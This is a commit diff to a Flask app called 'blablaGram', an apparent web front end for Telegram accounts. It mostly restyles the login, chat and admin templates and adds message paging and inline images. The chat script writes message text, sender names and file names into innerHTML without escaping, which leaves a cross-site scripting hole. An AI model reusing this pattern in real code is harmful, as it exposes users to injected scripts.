Update app.py

app.py

@@ -4,6 +4,7 @@ import os
 import sqlite3
 import datetime
 from pathlib import Path
+import imghdr # Used for image detection
 
 from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
 from telethon.sync import TelegramClient
@@ -64,20 +65,29 @@ LOGIN_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>blablaGram - Login</title>
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #E9EBEE; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
-        .container { background: #FFFFFF; padding: 40px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); max-width: 420px; width: 90%; text-align: center; }
-        h1 { color: #2AABEE; margin-bottom: 25px; font-size: 2.8em; font-weight: 700; letter-spacing: -0.5px; }
-        input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 14px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 8px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.2); outline: none; }
-        button { background: #2AABEE; color: #fff; padding: 14px 28px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; }
-        button:hover { background: #1C91D0; transform: translateY(-1px); }
-        button:active { transform: translateY(0); }
-        .message { margin-top: 25px; padding: 15px; border-radius: 8px; font-size: 0.95em; line-height: 1.5; }
-        .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
-        .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
-        .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
+        body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #E0EBF5 0%, #D0DBE8 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
+        .container { background: #FFFFFF; padding: 45px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 450px; width: 90%; text-align: center; transform: translateY(-20px); animation: fadeIn 0.8s forwards ease-out; }
+        @keyframes fadeIn { from { opacity: 0; transform: translateY(-40px); } to { opacity: 1; transform: translateY(0); } }
+        h1 { color: #007AFF; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; text-shadow: 0 1px 2px rgba(0,0,0,0.05); }
+        input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 15px; margin: 12px 0; border: 1px solid #E0E6EB; border-radius: 10px; background: #F8F9FA; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        input[type="text"]:focus, input[type="password"]:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.15); outline: none; background: #FFF; }
+        button { background: #007AFF; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: 600; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 15px rgba(0,122,255,0.2); }
+        button:hover { background: #006ACD; transform: translateY(-2px); box-shadow: 0 6px 20px rgba(0,122,255,0.3); }
+        button:active { transform: translateY(0); box-shadow: 0 2px 10px rgba(0,122,255,0.2); }
+        .message { margin-top: 25px; padding: 16px; border-radius: 10px; font-size: 0.98em; line-height: 1.5; text-align: left; }
+        .message.success { background: #E6FFF1; color: #1DB954; border: 1px solid #C8F0E0; }
+        .message.error { background: #FFEBEE; color: #E53935; border: 1px solid #F0C8C8; }
+        .message.info { background: #EBF8FF; color: #007AFF; border: 1px solid #C8E6F0; }
         .hidden { display: none; }
+        @media (max-width: 600px) {
+            .container { padding: 30px 25px; border-radius: 12px; }
+            h1 { font-size: 2.5em; margin-bottom: 25px; }
+            input[type="text"], input[type="password"] { padding: 13px; font-size: 1em; }
+            button { padding: 13px 25px; font-size: 1.05em; margin-top: 20px; }
+            .message { padding: 14px; font-size: 0.9em; }
+        }
     </style>
 </head>
 <body>
@@ -111,7 +121,6 @@ LOGIN_TEMPLATE = '''
                 return;
             }
             showMessage('Sending code...', 'info');
-            // Hide previous inputs
             document.getElementById('code').classList.add('hidden');
             document.getElementById('password').classList.add('hidden');
             document.getElementById('submitCode').classList.add('hidden');
@@ -199,67 +208,76 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <title>blablaGram</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
+        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: #F8F9FA; overflow: hidden; }
         .app-layout { display: flex; height: 100vh; width: 100%; }
-        .sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
-        .sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
-        .sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }
-        .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }
-        .sidebar-header .actions button:hover { background-color: #E6F3FC; }
-        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
-        .chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s, color 0.2s; }
-        .chat-item:hover { background-color: #F8F8F8; }
-        .chat-item.active { background-color: #E6F3FC; color: #2AABEE; }
-        .avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
+        .sidebar { flex: 0 0 340px; background: #FFFFFF; border-right: 1px solid #E5E9EC; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
+        .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; align-items: center; justify-content: space-between; }
+        .sidebar-header h2 { margin: 0; font-size: 1.6em; color: #007AFF; font-weight: 700; }
+        .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #007AFF; padding: 8px; border-radius: 8px; transition: background-color 0.2s; }
+        .sidebar-header .actions button:hover { background-color: #F0F8FF; }
+        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px;}
+        .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background-color 0.2s; }
+        .chat-item:hover { background-color: #F9FBFC; }
+        .chat-item.active { background-color: #E6F3FC; }
+        .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #007AFF; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; }
         .chat-info { flex: 1; overflow: hidden; }
-        .chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
-        .chat-item.active .chat-info h3 { color: #2AABEE; }
-        .chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+        .chat-info h3 { margin: 0 0 5px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
+        .chat-item.active .chat-info h3 { color: #007AFF; }
+        .chat-info p { margin: 0; font-size: 0.88em; color: #66707B; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
         
-        .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
-        .chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }
-        .chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }
-        .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
-        .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
+        .chat-panel { flex: 1; display: flex; flex-direction: column; background-color: #F8F9FA; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Ty9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
+        .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; justify-content: space-between; align-items: center; }
+        .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: #1C1C1C; }
+        .chat-panel-header .header-actions button { background: #007AFF; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
+        .chat-panel-header .header-actions button:hover { background: #006ACD; transform: translateY(-1px); }
         .chat-panel-header .header-actions button:active { transform: translateY(0); }
         .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
         .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
         
         .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
-        .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
-        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
-        .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}
-        .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: #111; }
-        .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
-        .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
+        .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
+        .load-more-btn:hover { background: #006ACD; }
+
+        .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.08); position: relative; }
+        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
+        .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
+        .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 5px; display: block; font-size: 0.88em; }
+        .message-text { color: #111; word-break: break-word; }
+        .message-meta { font-size: 0.72em; color: #88909B; margin-top: 6px; text-align: right; }
+        .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
+        .media-link { display: block; margin-top: 8px; color: #007AFF; text-decoration: none; font-weight: 500; word-break: break-all; font-size: 0.9em; }
         .media-link:hover { text-decoration: underline; }
         
-        .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }
-        .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
-        .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        .chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
-        .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
-        .chat-input-area button:active { transform: translateY(0); }
+        .chat-input-area { background: #F8F9FA; padding: 12px 25px; border-top: 1px solid #E5E9EC; display: flex; align-items: flex-end; gap: 12px; }
+        .chat-input-area textarea { flex: 1; padding: 13px 18px; border: 1px solid #DDE2E7; border-radius: 22px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        .chat-input-area textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
+        .chat-input-area button { background: #007AFF; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
+        .chat-input-area button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
+        .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
         
         .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
-        .join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
-        .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }
-        .join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
+        .join-chat-section { padding: 15px 25px; border-top: 1px solid #E5E9EC; display: flex; gap: 10px; background-color: #FFFFFF; }
+        .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #DDE2E7; border-radius: 10px; font-size: 0.95em; }
+        .join-chat-section button { background: #28A745; color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
         .join-chat-section button:hover { background: #218838; }
 
         /* Mobile Adaptation */
         @media (max-width: 768px) {
             .app-layout { flex-direction: column; }
-            .sidebar { flex: 0 0 auto; width: 100%; height: 50vh; border-right: none; border-bottom: 1px solid #E0E0E0; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); }
+            .sidebar { flex: 0 0 auto; width: 100%; height: 100vh; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.1); }
             .sidebar.active { transform: translateX(0); }
             .chat-panel { width: 100%; height: 100vh; position: relative; }
-            .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }
-            .sidebar-header .actions { display: flex; align-items: center; }
+            .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: #007AFF; cursor: pointer; padding: 0 10px; margin-right: 10px; }
+            .sidebar-header { justify-content: flex-start; } /* Align items to start when toggle is present */
+            .sidebar-header h2 { flex-grow: 1; text-align: center; margin-right: 20px; } /* Center title but allow space for toggle */
+            .sidebar-header .actions { margin-left: auto; }
+
             .chat-panel-header { padding: 15px 15px; }
-            .chat-panel-header h2 { font-size: 1.1em; }
+            .chat-panel-header h2 { font-size: 1.15em; }
             .chat-input-area { padding: 10px 15px; }
-            .message-item { max-width: 85%; }
+            .message-item { max-width: 85%; padding: 10px 14px; font-size: 0.9em; }
+            .avatar-placeholder { width: 44px; height: 44px; font-size: 1.5em; margin-right: 12px; }
+            .chat-item { padding: 12px 15px; }
         }
         @media (min-width: 769px) {
             .sidebar-toggle-button { display: none; }
@@ -284,7 +302,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
         </div>
         <div class="chat-panel" id="chatPanel">
             <div class="chat-panel-header" id="appHeader">
-                <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button> <!-- Back arrow for mobile -->
+                <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button>
                 <div id="chat-header-info">
                     <h2 id="chatTitle" style="display:none;"></h2>
                 </div>
@@ -294,9 +312,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
                 </div>
             </div>
             <div class="no-chat-selected" id="noChatSelected">
-                Select a chat to start messaging
+                <p>Select a chat to start messaging</p>
+                <p>Or click '✎' for a new message or enter a link/username to join a chat.</p>
+            </div>
+            <div class="messages-container" id="messagesContainer" style="display:none;">
+                <button class="load-more-btn" id="loadMoreMessagesBtn" style="display:none;">Load More Messages</button>
             </div>
-            <div class="messages-container" id="messagesContainer" style="display:none;"></div>
             <div class="chat-input-area" id="chatInputArea" style="display:none;">
                 <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
                 <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
@@ -308,7 +329,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
 
     <script>
         let currentChatId = null;
+        let currentNextOffsetId = null; 
         let isSidebarOpen = false;
+        const MESSAGES_LIMIT = 30;
 
         function toggleSidebar() {
             const sidebar = document.getElementById('sidebar');
@@ -357,6 +380,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
 
         async function selectChat(chatId) {
             currentChatId = chatId;
+            currentNextOffsetId = null; 
 
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -369,39 +393,87 @@ BLABLAGRAM_APP_TEMPLATE = '''
             document.getElementById('chatTitle').style.display = 'block';
             document.getElementById('messagesContainer').style.display = 'flex';
             document.getElementById('chatInputArea').style.display = 'flex';
-            
-            await fetchMessages(chatId);
+            document.getElementById('messagesContainer').innerHTML = ''; 
+            document.getElementById('loadMoreMessagesBtn').style.display = 'none';
+
             if (window.innerWidth <= 768) {
-                toggleSidebar(); // Hide sidebar on mobile after selecting chat
+                toggleSidebar(); 
             }
+            await fetchMessages(chatId);
         }
 
-        async function fetchMessages(chatId) {
+        async function fetchMessages(chatId, offsetId = null) {
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
+            const loadMoreBtn = document.getElementById('loadMoreMessagesBtn');
+            
+            if (!offsetId) { // First load for this chat
+                messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
+                loadMoreBtn.style.display = 'none';
+            } else {
+                loadMoreBtn.textContent = 'Loading...';
+                loadMoreBtn.disabled = true;
+            }
 
-            const response = await fetch(`/api/chat_messages/${chatId}`);
+            const url = `/api/chat_messages/${chatId}?limit=${MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
+            const response = await fetch(url);
             const result = await response.json();
-            messagesContainer.innerHTML = ''; 
+            
+            if (!offsetId) { // Clear only on initial load
+                messagesContainer.innerHTML = '';
+            }
+
             if (result.success && result.messages) {
-                result.messages.reverse().forEach(msg => {
+                result.messages.reverse().forEach(msg => { 
                     const messageItem = document.createElement('div');
                     messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
                     
                     let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
-                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
                     let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
-                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
+                    let mediaHtml = '';
+
+                    if (msg.file_name) {
+                        const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
+                        if (msg.is_image) {
+                            mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
+                        } else {
+                            mediaHtml = downloadLink;
+                        }
+                    }
+                    
                     let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
+                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
 
                     messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
-                    messagesContainer.prepend(messageItem);
+                    messagesContainer.prepend(messageItem); 
                 });
-                messagesContainer.scrollTop = messagesContainer.scrollHeight;
+
+                currentNextOffsetId = result.next_offset_id;
+                if (currentNextOffsetId) {
+                    loadMoreBtn.style.display = 'block';
+                    loadMoreBtn.textContent = 'Load More Messages';
+                    loadMoreBtn.disabled = false;
+                } else {
+                    loadMoreBtn.style.display = 'none';
+                }
+
+                if (!offsetId) { // Only scroll to bottom on initial load
+                    messagesContainer.scrollTop = messagesContainer.scrollHeight;
+                }
             } else {
-                messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                if (!offsetId) {
+                    messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                } else {
+                    messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
+                    loadMoreBtn.style.display = 'none';
+                }
             }
         }
+
+        document.getElementById('loadMoreMessagesBtn').addEventListener('click', () => {
+            if (currentChatId && currentNextOffsetId) {
+                fetchMessages(currentChatId, currentNextOffsetId);
+            }
+        });
         
         async function newMessage() {
             const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
@@ -429,6 +501,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
 
             messageInput.value = '';
             adjustTextareaHeight();
+            
+            const messagesContainer = document.getElementById('messagesContainer');
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Sending message...</p>' + messagesContainer.innerHTML;
 
             const response = await fetch('/api/send_message', {
                 method: 'POST',
@@ -437,6 +512,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
+                currentNextOffsetId = null; // Reset offset to fetch all latest messages
                 await fetchMessages(currentChatId);
             } else {
                 alert('Failed to send message: ' + result.message);
@@ -458,12 +534,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
             formData.append('file', file);
             formData.append('caption', caption);
 
-            messageInput.value = ''; // Clear message input
-            fileInput.value = ''; // Clear file input
+            messageInput.value = ''; 
+            fileInput.value = ''; 
             adjustTextareaHeight();
             
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML; // Indicate upload in UI
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
 
             const response = await fetch('/api/send_file', {
                 method: 'POST',
@@ -471,7 +547,8 @@ BLABLAGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                await fetchMessages(currentChatId); // Re-fetch messages to show the sent file
+                currentNextOffsetId = null; 
+                await fetchMessages(currentChatId); 
             } else {
                 alert('Failed to send file: ' + result.message);
             }
@@ -524,21 +601,40 @@ ADMHOSTO_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>blablaGram - Admin Panel</title>
-    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
-        .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
-        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; }
-        table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 8px; overflow: hidden; }
-        th, td { padding: 15px; border: 1px solid #E0E0E0; text-align: left; }
-        th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; }
-        tr:nth-child(even) { background: #FDFDFD; }
+        body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
+        .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
+        h1 { text-align: center; color: #007AFF; margin-bottom: 30px; font-weight: 700; font-size: 2.5em; }
+        h2 { text-align: center; color: #1C1C1C; margin-bottom: 25px; font-weight: 600; font-size: 1.8em; }
+        table { width: 100%; border-collapse: separate; border-spacing: 0; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.05); }
+        th, td { padding: 16px 20px; text-align: left; border-bottom: 1px solid #EFF2F5; }
+        th { background: #F0F5F8; color: #55606F; font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
+        tr:last-child td { border-bottom: none; }
